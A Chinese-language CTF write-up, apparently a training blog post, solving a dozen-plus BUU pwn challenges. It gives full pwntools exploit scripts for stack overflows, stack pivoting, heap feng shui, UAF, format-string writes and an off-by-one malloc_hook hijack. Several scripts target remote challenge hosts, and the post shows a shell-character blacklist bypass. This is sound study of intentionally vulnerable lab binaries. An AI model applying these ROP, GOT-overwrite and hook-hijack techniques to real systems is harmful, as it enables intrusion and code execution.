writeup
今天你pwn了吗(三)
2020-06-04 10:50

前言

我们接着前两篇的内容继续往下学习。所有题目都可在BUU平台搜索得到 Ctal+F 然后输入题目名字即可。

同样的,在开始之前我们先来看下几个 函数吧,一定要 好好学下遇到的函数呢,很重要的:

fgets

1.png

memchr

2.png

strcmp

3.png

memcpy():

4.png

ez_pz_hackover_2016 

环境:Ubuntu 16.04

首先查看下文件属性:

5.png

可以看到  是 32位的elf 程序,且 没有开启任何 保护,于是 首先考虑shellcode 的方式去pwn 掉程序。看下ida:(留意下 代码中的 注释)

int __cdecl main(int argc, const char **argv, const char **envp)

{

  setbuf(stdout, 0);

  header();

  chall();

  return 0;

}

**********************************************************************

int header()                 //header 其实没有什么的。

{

  printf("\n");

  printf("             ___ ____\n");

  printf("      ___ __| _ \\_  /\n");

  printf("     / -_)_ /  _// / \n");

  printf("     \\___/__|_| /___|\n");

  printf("        lemon squeezy\n");

  return printf("\n\n");

}

********************************************************************

void *chall()

{

  size_t v0; // eax

  void *result; // eax

  char s; // [esp+Ch] [ebp-40Ch]

  _BYTE *v3; // [esp+40Ch] [ebp-Ch]


  printf("Yippie, lets crash: %p\n", &s);   //这里可以得到栈地址

  printf("Whats your name?\n");

  printf("> ");

  fgets(&s, 0x3FF, stdin);                 //向s 处 最多可输入0x3ff字节数据

  v0 = strlen(&s);

  v3 = memchr(&s, '\n', v0);             //判断程序时候有 "\n"

  if ( v3 )

    *v3 = 0;                               //有的话 令它 等于 "\0"

  printf("\nWelcome %s!\n", &s);         

  result = (void *)strcmp(&s, "crashme");  //这里再将 s处的字符串与"crashme"作比较

  if ( !result )

    result = vuln((unsigned int)&s, 0x400u);//如果相等,进入vuln()函数

  return result;

}

******************************************************************

void *__cdecl vuln(char src, size_t n)

{

  char dest; // [esp+6h] [ebp-32h]


  return memcpy(&dest, &src, n);   //将 以s位置开始0x400的数据都将会拷贝到dest位置

}

所以经过我们的上面的分析(代码中的注释),写出以下exp:

6.png

可以成功拿到shell!

babyfengshui_33c3_2016

这题 是个很好的 堆入门题。我们一起来分析下吧。

首先,我们 来检查下保护:

7.png

首先看下 main函数:

void __cdecl __noreturn main()

{

  char v0; // [esp+3h] [ebp-15h]

  int v1; // [esp+4h] [ebp-14h]

  size_t v2; // [esp+8h] [ebp-10h]

  unsigned int v3; // [esp+Ch] [ebp-Ch]


  v3 = __readgsdword(0x14u);

  setvbuf(stdin, 0, 2, 0);

  setvbuf(stdout, 0, 2, 0);

  alarm(0x14u);

  while ( 1 )

  {

    puts("0: Add a user");

    puts("1: Delete a user");

    puts("2: Display a user");

    puts("3: Update a user description");

    puts("4: Exit");

    printf("Action: ");

    if ( __isoc99_scanf("%d", &v1) == -1 )

      break;

    if ( !v1 )

    {

      printf("size of description: ");

      __isoc99_scanf("%u%c", &v2, &v0);

      add_8048816(v2);

    }

    if ( v1 == 1 )                              // delete

    {

      printf("index: ");

      __isoc99_scanf("%d", &v2);

      delete_8048905(v2);                       // 没有 UAF

    }

    if ( v1 == 2 )                              // show

    {

      printf("index: ");

      __isoc99_scanf("%d", &v2);

      show_804898F(v2);

    }

    if ( v1 == 3 )                              // update

    {

      printf("index: ");

      __isoc99_scanf("%d", &v2);

      update_8048724(v2);

    }

    if ( v1 == 4 )

    {

      puts("Bye");

      exit(0);

    }

    if ( (unsigned __int8)i_804B069 > 0x31u )

    {

      puts("maximum capacity exceeded, bye");

      exit(0);

    }

  }

  exit(1);

}

然后 我们看 各个函数,因为 有前两篇文章的 感觉,关于ida 上的 伪代码我尽量还是用 图片吧,看的会更清晰些。在这之前 我们首先根据程序运行 封装下函数 我将封装的函数 先放上来,有助于理解:

8.png

add_8048816函数:

9.png

在add函数中  我们 可以 知道这个程序 用的结构体 应该是 这个样子:

0.png

我们可以请容易看出  ptr (0x0804B080)相当于 是 保存结构体指针的数组。delete_8048905

11.png

show_804898F<br>

12.png

update_8048724<br>

13.png

我们重点 分析下 这个 update_8048724 函数 就好了。

看第 13 行,程序  是 通过     (new_desc_size + ptr[i]->desc  < (&ptr[i] - 4 ) 检测才可以  继续 update 操作的。正常来看的话,因为 malloc(struct user) 堆块 晚于 malloc(struct user->desc)堆块,且堆块相邻,所以,这个检测 的 本意是在update 每个user结构体中 desc 时,控制了new_desc_size 在于 这两个 堆块之间的距离再-4 的 大小,这样的话,就不存在 堆溢出问题。

但这里我们可根据 堆分配的 理解,我们 可通过 一些操作去使得   malloc(struct user) 堆块 返回的地址与 malloc(struct user->desc)堆块返回的地址 之间的距离 变的很大。这样 我们就可以拥有 比较大的最多可输入 字节 数据,从而 使得程序 有堆溢出漏洞。

而要如何操作呢,我们 可首先 add 两个 结构体 user0,user1,用于  刚刚说的" 一些操作",

14.png

我们 将user0 给 free 掉

15.png

此时 的bins 上  是 有个 272  即 hex(273)  即0x111 即 0x88+0x88+1的unsidned chunk,而如果我们申请 把这个0x111的size chunk 给申请出来 且 全当做 新的 user0->desc的堆块,那么这个堆块返回的地址 就会是 0x9f92000+8 ,而接着 在add 函数中又会申请 0x80的chunk 当作 新的user 的chunk,这个 就会是从 top chunk 申请出 的 chunk 了,两者地址间的 距离相隔 就很大了,没有具体算了,肯定 大于  0x198,而  新的 user0->desc的堆块,那么这个堆块的返回的地址( 0x9f92000+8) 再加0x198的位置就是 user1结构体中的 desc指针了,因为此时已经存在栈溢出了 ,我们 把这个 指针给溢出覆盖成  free_got地址,然后可以通过show 函数来输出 free_got函数,进而leak出 libc,进而得到system 函数地址。

add(0x100,"ddd",0x19c,"d"*0x198+p32(elf.got['free']))   #0

#gdb.attach(p)

show(1)

接着 我们 再通过 update 函数 再将 user1 中的desc(此时对应的指针是 free_got了),中的内容给改成 system,所以 只要我们执行 free("/bin/sh\x00"),就意味着 执行 system("/bin/sh\x00")了,从而pwn掉程序!而再最开始  我们在  add user2 结构体时就已经提前 写入了 "/bin/sh\x00"了,所以 最后我们再 delete(2-1)即  delete(1)就可以拿到 shell了

update(1,0x4, p32(system_addr))

delete(2)

完整 exp如下:

from pwn import *

from LibcSearcher import *

#context.log_level = 'debug'


p = process('./babyfengshui_33c3_2016')

#p = remote("node3.buuoj.cn",29957)

elf = ELF('./babyfengshui_33c3_2016')

#libc=ELF("/lib/i386-linux-gnu/libc.so.6")#local


def add(size,name,length,text):

  p.sendlineafter("Action: ","0")

  p.sendlineafter("size of description: ",str(size))

  p.sendlineafter("name: ",name)

  p.sendlineafter("text length: ",str(length))

  p.sendlineafter("text: ",text)


def update(index, length, desc):

  p.sendlineafter("Action: ","3")

  p.sendlineafter("index: ",str(index))

  p.sendlineafter("text length: ",str(length))

  p.sendlineafter("text: ",desc)


def delete(index):

  p.sendlineafter("Action: ","1")

  p.sendlineafter("index: ",str(index))


def show(index):

  p.sendlineafter("Action: ","2")

  p.sendlineafter("index: ",str(index))




add(0x80,"aaa",0x80,"aaa")#0

add(0x80,"bbb",0x80,"bbb")#1

#gdb.attach(p)

add(0x20,"ccc",0x20,"/bin/sh\x00")#2

#gdb.attach(p)

delete(0)

gdb.attach(p)

add(0x100,"ddd",0x19c,"d"*0x198+p32(elf.got['free']))   #0

#gdb.attach(p)

show(1)

p.recvuntil("description: ")


free_addr = u32(p.recvn(4))

libc=LibcSearcher("free",free_addr)

libc_base=free_addr-libc.dump("free")

system_addr=libc_base+libc.dump("system")


#system_addr = free_addr - (libc.symbols['free'] - libc.symbols['system'])

print "system : "+hex(system_addr)


update(1,0x4, p32(system_addr))

delete(2)


p.interactive()

bjdctf_2020_babystack

环境:ubuntu 16.04经过前面两篇文章的讲解,这个实在属于最简单的 栈溢出题了。简单说下 了。ida:

16.png

栈溢出 ,然后还有 后门函数,直接写脚本了。

17.png

[Black Watch 入群题]PWN

18.png

这道题 考察栈迁移的,刚好再次把它给熟悉下。我们 还像 往常一样首先 检查下 程序开启保护:

19.png

32位 elf 程序,开启了 NX保护,于是首先暂时就不必去想 用shellcode了。我们看下ida:

20.png

程序 还是很容易看得懂的,看最后的 read(0, &buf, 0x20u)函数,这里虽然存在栈溢出,但仅可溢出到 ret_Addr,但这程序中是没有 后门函数的,所以我们 首先要做的 其实是 泄露出libc,并且要控制 要 返回到 main地址,因为我们目前才可以得到libc,我们还要接下来的拿shell 操作。

而栈溢出 的长度 不够我们在最后read函数这里去构造泄露libc的rop链, 而栈迁移 是刚好用来解决这个 问题的,我们再开始之前 先来了解下 栈迁移的基本知识,我们来 看下汇编中 这几个指令的本质:call:

21.png

leave:

22.png

ret:

24.png


我们首先构造好 泄露libc且会再次返回到main地址的 rop攻击链:放在 bss 段上   //s的位置


25.png

"pop eip 相当于将栈顶数据给了eip,由于ret返回的是esp栈地址中的数据, 而leave将ebp栈地址的值赋给了esp栈地址,所以可以通过覆盖ebp栈地址中的数据来控制ret的返回地址,而两次leave就可以控制esp为我们想要的地址了,不过第二次的pop ebp是多余的,会使esp-4,所以将ebp覆盖到我们构造的函数地址-4即可"

我们这样 覆盖:

26.png

我觉得 这个实在光看文字会 太绕,我gdb 动态给展示下:

27.png

此时的ebp,esp

28.png

根据上面 的leave 指令的实质,执行过 leave 后,esp的栈地址变成了ebp再+4的栈地址,ebp的栈地址变成了ebp栈地址中的数据即 执行完leave指令后 期望 应该是

29.png

我们 ni 走下:

30.png

和我们预想的一样,而接着 我们在ret_addr 再填一个 leave,执行ret后 会再执行一次 leave,会使得 ebp和esp再经历一次上面一样的变化,

31.png

执行 return 后可以看到 确实又执行到 leave此时:

32.png

同样 我们猜测  下再次执行完后 leave 后esp 和ebp的状态:

33.png

符合我们的期望!

34.png

接着 就 执行到 我们的 构造的ROP攻击链了。根据以上,我们写出下面exp:

from pwn import *

from LibcSearcher import *


p=remote('node3.buuoj.cn',26843)

#p=process('./spwn')

elf=ELF('./spwn')

write_plt=elf.plt['write']

write_got=elf.got['write']

main_addr=elf.symbols['main']

bss_addr=0x0804A300                     #s

leave_ret=0x08048511


pd=p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)    #返回到main 使程序重新执行一次,为下步拿shell做准备

p.recvuntil("What is your name?")

p.send(pd)

#gdb.attach(p)

pd2='a'*0x18

pd2+=p32(bss_addr-4)        #ebp

pd2+=p32(leave_ret)          #ret_addr


p.recvuntil("What do you want to say?")

p.send(pd2)


write_addr=u32(p.recv(4))

print "write_addr "+hex(write_addr)

libc=LibcSearcher('write',write_addr)

libc_base=write_addr-libc.dump('write')

system_addr=libc_base+libc.dump('system')

str_bin_sh=libc_base+libc.dump('str_bin_sh')


p.recvuntil("What is your name?")

pd=p32(system_addr)+p32(main_addr)+p32(str_bin_sh)

p.send(pd)


p.recvuntil("What do you want to say?")

p.send(pd2)


p.interactive()

稍微 总结下 ,栈迁移的题,这题的话是一种类型(程序中是有leave;ret;),我们可以在 ret_addr处 填入 leave,ebp处 填入 我们的rop链所在地址,再减4 的地址。即可达到切栈的效果。

[BJDCTF2nd]ydsneedgirlfriend2

这一题 其实也属于  堆上的基础题了。UAF漏洞。最开始分析程序之前 我们检查下 程序开启的相关保护:

35.png

64位 elf 程序,开启NX保护。拖入ida:main函数:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)

{

  int choice; // eax

  _BYTE v4[6]; // [rsp-16h] [rbp-16h]

  unsigned __int64 v5; // [rsp-10h] [rbp-10h]


  v5 = __readfsqword(0x28u);

  myinit();

  while ( 1 )

  {

    while ( 1 )

    {

      menu();                                   //   puts(&byte_400E6F);

                                                //   puts("1.add a girlfriend");

                                                //   puts("2.dele a girlfriend");

                                                //   puts("3.show a girlfriend");

                                                //   puts("4.exit");

                                                //   return puts("u choice :");

      read(0, v4, 6uLL);

      choice = atoi(v4);

      if ( choice != 2 )

        break;

      dele();                                   // UAF

    }

    if ( choice > 2 )

    {

      if ( choice == 3 )

      {

        show();

      }

      else

      {

        if ( choice == 4 )

          exit(0);

LABEL_13:

        puts("Invalid choice");

      }

    }

    else

    {

      if ( choice != 1 )

        goto LABEL_13;

      add();

    }

  }

}

只有3个 程序功能就是:

36.png

我们看下 add函数功能:

37.png

我们可以看到 这里有两个 malloc,第一个malloc(0x10)是 申请的 struct girlfriend结构体,

第一个malloc(v2),这里的v2 是我们可控制的size,是申请的 name 的chunk

我们可在add 函数里 推出 这个程序 使用了 下面的结构体

38.png

看下show 功能:

39.png

如果 结构体存在,则 执行struct girlfriends-> print_girlfriend_name函数,我们看些这个函数

40.png

其实就是 个puts 出 struct girlfriends-> name中的数据。我们再看下 delete函数:

41.png

这个程序的洞 其实就是在这了,因为 free 掉chunk后 却没有进行 置零 操作。delete后,我们仍可以可以控制 chunk。而这题 又因为存在后门函数,

42.png

所以我们可以这样 首先 申请 结构体, girlfriends 0,

43.png

然后 我们 delete  girlfriends 0,

44.png

可以发现 bins 链上 有两个  free chunk,且由于 UAF漏洞 delete后 结构体 0的指针仍然存在。

然后 再申请一个 0x10 的的结构体 girlfriends 0因为 结构体 0的指针仍然存在,所以 再add 函数中 就不会 再去首先申请 一个 0x10的结构题去做 新的girlfriends 0 了,而是 直接让我们 输入 size(这里就是0x10了),去申请 name 所在的堆块,我们观察bins 上的chunk,我们首先申请出来的会是 0x246960的堆块,且这个又是  girlfriends 0 结构体,我们只要把这个结构体 的print_girlfriend_name 指针给覆写 成后门函数就可以了,这样当我们执行 show 函数时,就会  调用print_girlfriend_name 时 就实际会 调用 backdoor,从而拿到shell。

45.png

我们可以看到 如我们上面的所述,呈现的结果与我们的期望一执,可以看到 bins上的0x2469350 被申请当作  girlfriends 0中的name 堆块了,同时又是 girlfriends 0结构体本身。我们再接着 show(0)其实就可 pwn 掉程序了。完整exp  如下:

#coding:utf8

from pwn import *

context.log_level = 'debug'

context.arch = 'amd64'

elf = ELF('./ydsneedgirlfriend2')

libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")#18

p = process('./ydsneedgirlfriend2')

#p = remote("node3.buuoj.cn",27625)


def add(size,name):

  p.sendlineafter("u choice :\n",'1')

  p.sendlineafter("Please input the length of her name:\n",str(size))

  p.sendlineafter("Please tell me her name:\n",name)


#def edit(index,content):

# p.sendlineafter("choice: ",'2')

# p.sendlineafter("idx?",str(index))

# p.sendlineafter("content:",content)

# p.recvuntil("Done!\n")

def show(index):

  p.sendlineafter("u choice :\n",'3')

  p.sendlineafter("Index :",str(index))

def delete(index):

  p.sendlineafter("u choice :\n",'2')

  p.sendlineafter("Index :",str(index))


backdoor = 0x400D86


add(0x10,'a'*0x10)

#gdb.attach(p)

delete(0)

#gdb.attach(p)

payload = p64(0) + p64(backdoor)

add(0x10,payload)

#gdb.attach(p)

show(0)


p.interactive()

[BJDCTF 2nd]r2t4

这题  是个64位的elf 程序,动态链接 开启了NX和canary保护。而考察 其实 是 利用了格式化字符任意写,另外 我们要知道的是  当函数返回的时候 会比较canary的 值 是否发生变化,如果不一致,就触发 __stack_chk_fail 函数。拖入ida:

46.png

通过上面代码中的注释可知,栈溢出的方法 不可取, 因为程序开启了Canary 当函数返回的时候 会比较canary的 值 是否发生变化,如果不一致,就触发 stack_chk_fail 函数。且程序中 含有后门函数。 我们可通过格式化字符串写 将backdoor_addr写入 stack_chk_fail_got 中 脚本如下:

47.png

ciscn_2019_es_2

这道题,感觉还是 增加了不少知识。我们 直接分析 ida伪代码吧!

48.png

这里 我们利用的 printf 输出函数 是遇到 "\x00"才会 停止输出的,所以 我们 第一次输入 通过 printf  来 leak 出栈地址。而栈地址之间的偏移 是固定不会变的,我们可计算得到 s所在的栈地址。然后我们在s处构造以下 payload:

49.png

即,在 我们 泄露出的 s所在 地址处  写入 我们的 rop攻击链,然后可根据 (参考上面[Black Watch 入群题]PWN那题  的详细分析) 栈迁移的利用方式,在 ebp 覆盖为 在rop攻击链所在地址-0x4,ret_addr 覆盖成 leave_ret,从而 实现 栈迁移 使得程序 执行流 去执行 到  我们构造的  rop 攻击链,拿到 shell。

我写出 以下exp:

from pwn import *

#p=process("./ciscn_2019_es_2")

p=remote("node3.buuoj.cn",29391)

elf=ELF("./ciscn_2019_es_2")


system_plt=elf.plt["system"]

leave_ret=0x08048562


#gdb.attach(p)

pd="a"*(0x28-0x4)                                     #经gdb调试 我们可 在 偏移 ebp-0x28-4的位置存着的数据 是一个栈地址

p.recvuntil("Welcome, my friend. What's your name?\n")# 通过偏移  得到 s_addr 

p.send(pd)


p.recvuntil("a"*(0x28-4))

zhan_addr=u32(p.recv(4))

print "zhan_addr : "+hex(zhan_addr)

s_addr=zhan_addr-(0xff962d44-0xff962c60)

sh_addr=s_addr+0xc


pd2=p32(system_plt)+p32(0xdeadbeef)+p32(sh_addr)+"sh\x00\x00"//我们在 s_addr处 写上 我们的 system_plt地址,s_addr+0xc处写入字符串"sh\x00",将这个地址放在 s_addr+0x8处作为参数

pd2=pd2.ljust(0x28,"a")

pd2+=p32(s_addr-0x4)                             //这个可以看上面的 [Black Watch 入群题]PWN那题的具体分析,ebp 覆盖为 在rop攻击链所在地址-0x4,ret_addr 覆盖成 leave_ret

pd2+=p32(leave_ret)

p.send(pd2)


p.interactive()

可以成功拿到shell。

铁人三项(第五赛区)_2018_rop

检查保护:仅开启了  NX 保护,暂时 不考虑 shellcode

50.png

ida:

51.png

无 system 函数,栈溢出。可通过 write 函数泄露 真实函数地址 进而得到 ssytem和bin/sh字符串 地址 通过 再一次 栈溢出 拿到shell。

exp:

#coding:utf8

#ubuntu:18.04

#Author:yangmutou


from pwn import *

context.log_level="debug"

p=process("./2018_rop")

p=remote("node3.buuoj.cn",28871)

elf=ELF("./2018_rop")

libc=ELF("/lib/i386-linux-gnu/libc.so.6")


write_plt=elf.plt['write']

write_got=elf.got['write']

read_plt=elf.plt['read']

main=0x80484c6


print "write_plt : "+hex(write_plt)

print "write_got : "+hex(write_got)

print "read_plt : "+hex(read_plt)


pd="a"*0x88

pd+=p32(0xdeadbeef)

pd+=p32(write_plt)    # write(fd,addr,len)

pd+=p32(0x80484c6)

pd+=p32(1)

pd+=p32(write_got)

pd+=p32(4)


p.sendline(pd)

write_addr=u32(p.recv(4))

print "write_addr : "+hex(write_addr)


libc_base=write_addr-libc.sym['write']

system_addr=libc_base+libc.sym['system']

bin_sh=libc_base+libc.search('/bin/sh').next()

print "libc_base : "+hex(libc_base)

print "system_addr : "+hex(system_addr)

print "bin_sh : "+hex(bin_sh)


pd="a"*0x88

pd+=p32(0xdeadbeef)

pd+=p32(system_addr)    # system("/bin/sh\x00")

pd+=p32(0)

pd+=p32(bin_sh)

p.sendline(pd)

p.interactive()

本地 可打通,但远程报错了。

52.png

猜测 远程 libc和本地的libc 版本 不一致。我们用 libcsear 工具 即可。改写如下:

#coding:utf8


from pwn import *

from LibcSearcher import *

context.log_level="debug"

p=process("./2018_rop")

p=remote("node3.buuoj.cn",28871)

elf=ELF("./2018_rop")

#libc=ELF("/lib/i386-linux-gnu/libc.so.6")


write_plt=elf.plt['write']

write_got=elf.got['write']

read_plt=elf.plt['read']

main=0x80484c6


print "write_plt : "+hex(write_plt)

print "write_got : "+hex(write_got)

print "read_plt : "+hex(read_plt)


pd="a"*0x88

pd+=p32(0xdeadbeef)

pd+=p32(write_plt)    # write(fd,addr,len)

pd+=p32(0x80484c6)

pd+=p32(1)

pd+=p32(write_got)

pd+=p32(4)


p.sendline(pd)

write_addr=u32(p.recv(4))

print "write_addr : "+hex(write_addr)


#remote

libc = LibcSearcher('write',write_addr)

libc_base=write_addr-libc.dump('write')

system_addr = libc_base + libc.dump('system')

bin_sh = libc_base + libc.dump("str_bin_sh")


#local

'''

libc_base=write_addr-libc.sym['write']

system_addr=libc_base+libc.sym['system']

bin_sh=libc_base+libc.search('/bin/sh').next()

'''


print "libc_base : "+hex(libc_base)

print "system_addr : "+hex(system_addr)

print "bin_sh : "+hex(bin_sh)


pd="a"*0x88

pd+=p32(0xdeadbeef)

pd+=p32(system_addr)    # system("/bin/sh\x00")

pd+=p32(0)

pd+=p32(bin_sh)

p.sendline(pd)

p.interactive()

jarvisoj_level3

检查保护:


53.png

ida:

54.png


这题和上面的几乎 一摸一样.改改上面的  exp 即可。

#coding:utf8

#ubuntu:18.04

#Author:yangmutou


from pwn import *

from LibcSearcher import *

context.log_level="debug"

p=process("./level3")

p=remote("node3.buuoj.cn",27781)

elf=ELF("./level3")

#libc=ELF("/lib/i386-linux-gnu/libc.so.6")


write_plt=elf.plt['write']

write_got=elf.got['write']

read_plt=elf.plt['read']

main=0x08048484


print "write_plt : "+hex(write_plt)

print "write_got : "+hex(write_got)

print "read_plt : "+hex(read_plt)


pd="a"*0x88

pd+=p32(0xdeadbeef)

pd+=p32(write_plt)    # write(fd,addr,len)

pd+=p32(main)

pd+=p32(1)

pd+=p32(write_got)

pd+=p32(4)



p.recvuntil("Input:\n")

p.sendline(pd)

write_addr=u32(p.recv(4))

print "write_addr : "+hex(write_addr)


#remote

libc = LibcSearcher('write',write_addr)

libc_base=write_addr-libc.dump('write')

system_addr = libc_base + libc.dump('system')

bin_sh = libc_base + libc.dump("str_bin_sh")


#local

'''

libc_base=write_addr-libc.sym['write']

system_addr=libc_base+libc.sym['system']

bin_sh=libc_base+libc.search('/bin/sh').next()

'''


print "libc_base : "+hex(libc_base)

print "system_addr : "+hex(system_addr)

print "bin_sh : "+hex(bin_sh)


pd="a"*0x88

pd+=p32(0xdeadbeef)

pd+=p32(system_addr)    # system("/bin/sh\x00")

pd+=p32(0)

pd+=p32(bin_sh)

p.sendline(pd)

p.interactive()

xman_2019_format

检查保护:仅 开启了 NX 保护。

55.png

ida:

int __cdecl main()

{

  setvbuf(stdin, 0, 2, 0);

  setvbuf(stdout, 0, 2, 0);

  setvbuf(stderr, 0, 2, 0);

  sub_804869D();

  return 0;

}

**********************************

char *sub_804869D()

{

  puts("...");

  return sub_8048651();

}

*********************************

char *sub_8048651()

{

  void *buf; // ST1C_4


  puts("...");

  buf = malloc(0x100u);

  read(0, buf, 0x37u);              //我们的输入 在 堆上

  return sub_804862A((char *)buf);

}

***********************************

char *__cdecl sub_804862A(char *s)

{

  puts("...");

  return sub_80485C4(s);

}

*************************************

char *__cdecl sub_80485C4(char *s)

{

  char *v1; // eax

  char *result; // eax


  puts("...");

  v1 = strtok(s, "|");

  printf(v1);                                   // 格式化字符串

  while ( 1 )

  {

    result = strtok(0, "|");

    if ( !result )

      break;

    printf(result);

  }

  return result;

}


发现多次调用函数。然后是格式化字符串 漏洞 ,且我们的输入不在 栈上,另外这题还有个 比较麻烦的 东西,就是我们没办法 泄露 栈地址。不过 我们可以猜测。

1/16分之1 的成功率。参考了 这个链接:

56.png

另外这道 要了解下  strtok 函数。见下面链接。

57.png

exp:

58.png

59.png

[BJDCTF 2nd]test

容器环境:

60.png

做的第一个  ssh 的题目啊,

前一段时间  因为 没接触过这题 该怎样连接,这次 终于 算可以 作下了。链接:

61.png

然后出现这个样子:输入 yes 即可。

62.png

看题目的意思我们没有权限查看 flag,然后可以运行程序,可以看源码。

我们首先看下源码:

ctf@3c8e49c2b3b6:~$ cat test.c 

#include <stdio.h>

#include <string.h>

#include <stdlib.h>


int main(){

    char cmd[0x100] = {0};

    puts("Welcome to Pwn-Game by TaQini.");

    puts("Your ID:");

    system("id");

    printf("$ ");

    gets(cmd);

    if( strstr(cmd, "n")

       ||strstr(cmd, "e")

       ||strstr(cmd, "p")

       ||strstr(cmd, "b")

       ||strstr(cmd, "u")

       ||strstr(cmd, "s")

       ||strstr(cmd, "h")

       ||strstr(cmd, "i")

       ||strstr(cmd, "f")

       ||strstr(cmd, "l")

       ||strstr(cmd, "a")

       ||strstr(cmd, "g")

       ||strstr(cmd, "|")

       ||strstr(cmd, "/")

       ||strstr(cmd, "$")

       ||strstr(cmd, "`")

       ||strstr(cmd, "-")

       ||strstr(cmd, "<")

       ||strstr(cmd, ">")

       ||strstr(cmd, ".")){

        exit(0);    

    }else{

        system(cmd);

    }

    return 0;

}

可以看出 程序 过滤了  这些  字符

63.png

我们 用这个命令看下 我们还可以 输入  什么 命令。

64.png

发现:

65.png

然后输入  x86_64 然后 在  cat flag  即可 拿到shell。 

bjdctf_2020_babyrop

检查保护:64位 elf 程序 仅开启 了 NX 保护。

66.png

ida:

67.png

和上面 的栈溢处 没什么 不同直接上 exp了:

from pwn import *

from LibcSearcher import *

context.log_level='debug'

p=remote('node3.buuoj.cn',29993)

#p=process('./bjdctf_2020_babyrop')

elf=ELF('./bjdctf_2020_babyrop')

puts_got=elf.got['puts']

puts_plt=elf.plt['puts']

main_addr=elf.symbols['main']

pop_rdi=0x0000000000400733



pd='a'*0x20+p64(0xdeadbeef)

pd+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)

p.recvuntil('Pull up your sword and tell me u story!\n')

p.sendline(pd)


puts_addr=u64(p.recv(6).ljust(8,'\x00'))

libc=LibcSearcher('puts',puts_addr)

libc_base=puts_addr-libc.dump('puts')

system_addr=libc_base+libc.dump('system')

bin_sh=libc_base+libc.dump('str_bin_sh')


pd='a'*0x20+p64(0xdeadbeef)

pd+=p64(pop_rdi)+p64(bin_sh)+p64(system_addr)

p.recvuntil('Pull up your sword and tell me u story!')

p.sendline(pd)


p.interactive()

others_shellcode

检查保护:

68.png

这个 是汇编 我们执行 下面 命令  直接看 源码:

69.png

看main函数,发现直接 调用 后门函数了,直接nc 就可拿到flag。

70.png

jarvisoj_fm

检查保护:32位elf 程序 开启NX和canary保护, got可改。

71.png

ida:

72.png

exp:找到偏移 然后 把 x 内容 改为 4 即可。

73.png

jarvisoj_tell_me_something

ida:

74.png

额,栈溢出  且有后门函数:

直接 exp:

75.png

jarvisoj_level3_x64

检查保护

76.png

ida:

77.png

额额  都是这类的题。栈溢出  泄露libc 返回到vuln 函数,再次运行  拿到shell。

78.png

79.png

jarvisoj_level4

检查保护:32位elf 程序仅开启了 NX保护。

80.png

ida:

81.png

直接exp:网上搜索 都是 用的pwntools的 dyn 搜索, 感觉 没 libcsearch 方便。

82.png

83.png

roarctf_2019_easy_pwn

检查保护:64位elf 程序,保护全开。

84.png

拖入ida:可以得知 这是一个  经典菜单型的堆题。

85.png

86.png

程序功能有四个。

87.png

add:

88.png

89.png

在add函数中 可以知道里使用了结构体,并且做多可申请 16个结构体。

90.png

edit 函数:

91.png

漏洞点在 sub_E26函数:如果我们输入的 size 比 原本的size 大 10,则 new_size=old_size+1,off by one 漏洞。

92.png

delete函数:无 UAF漏洞

93.png

show:这个函数 看着 有些复杂,其实就是 输出 每个结构体中的 chunk_mem_addr指向的内容。

94.png

首先根据上面封装函数:

95.png

因为存在 off by one漏洞,很简单 的堆题了,这题 主要是 将 __malloc_hook 处 写入所有的onegadget 都无法 拿到shell。原因是 每个 onegadget在执行的时候 都不能满足所需条件,所以 我们需要借助 realloc 来 微调 栈环境。off by one 利用手法 具体可在这个链接学下:

https://blog.csdn.net/Breeze_CAT/article/details/103788698

首先 leak libc_base及相关函数地址:

96.png

97.png

然后 首先这个样子:

98.png

在 malloc_hook中写入 onegadget,执行到  call   execve时,我们看看此时 栈环境满不满足 onegadget[1]的执行成功条件。

99.png

100.png

显然并没有满足。但是  $rsp-0x8处可以是 0

如果 我们把  $rsp-0x8 给当成  $rsp+0x30 即可 满足成功执行条件。

于是我们需要将  rsp 给向上 抬高   (0x30+0x8) 即可。

101.png

realloc_hook和malloc_hook 以及free_hook很是一样,如果malloc_hook 处 不为0 的话,就跳转到 malloc_hook 中的函数中去,但 realloc 有些特别,在 它开始的时候 会有一部分的 抬栈降栈的操作。我们看下 realloc 函数的汇编。(注,发现在不同的环境它的符号有些不同)

102.png

所以,我们想要 将栈抬高 0x38 ,只要在 malloc_hook中填入  &GI_libc_realloc +16 (sub    rsp,0x38)即可,然后 然后在 realoc_hook中填入 onegadget[1]。

这样 程序程序执行到 malloc _hook时,就会 先去 执行 &GI_libc_realloc +16 (sub    rsp,0x38)进行 升栈操作。然后满足 条件后 再执行  realoc_hook 中的 onegadget 就会成功拿到shell 了。

所以 总的 exp 如下:

103.png

104.png

105.png

106.png

107.png

师傅们,今天 你pwn 了嘛!一起来学二进制吧。

PWN综合练习(三) (CTF PWN进阶训练实战,基于两次缓冲区溢出来获取服务器控制权限。)

上一篇:cryptopals解密之旅 (二)
下一篇:PlaidCTF2020 Mooz Chat 复盘
版权所有 合天智汇信息技术有限公司 2013-2021 湘ICP备14001562号-6
Copyright © 2013-2020 Heetian Corporation, All rights reserved
4006-123-731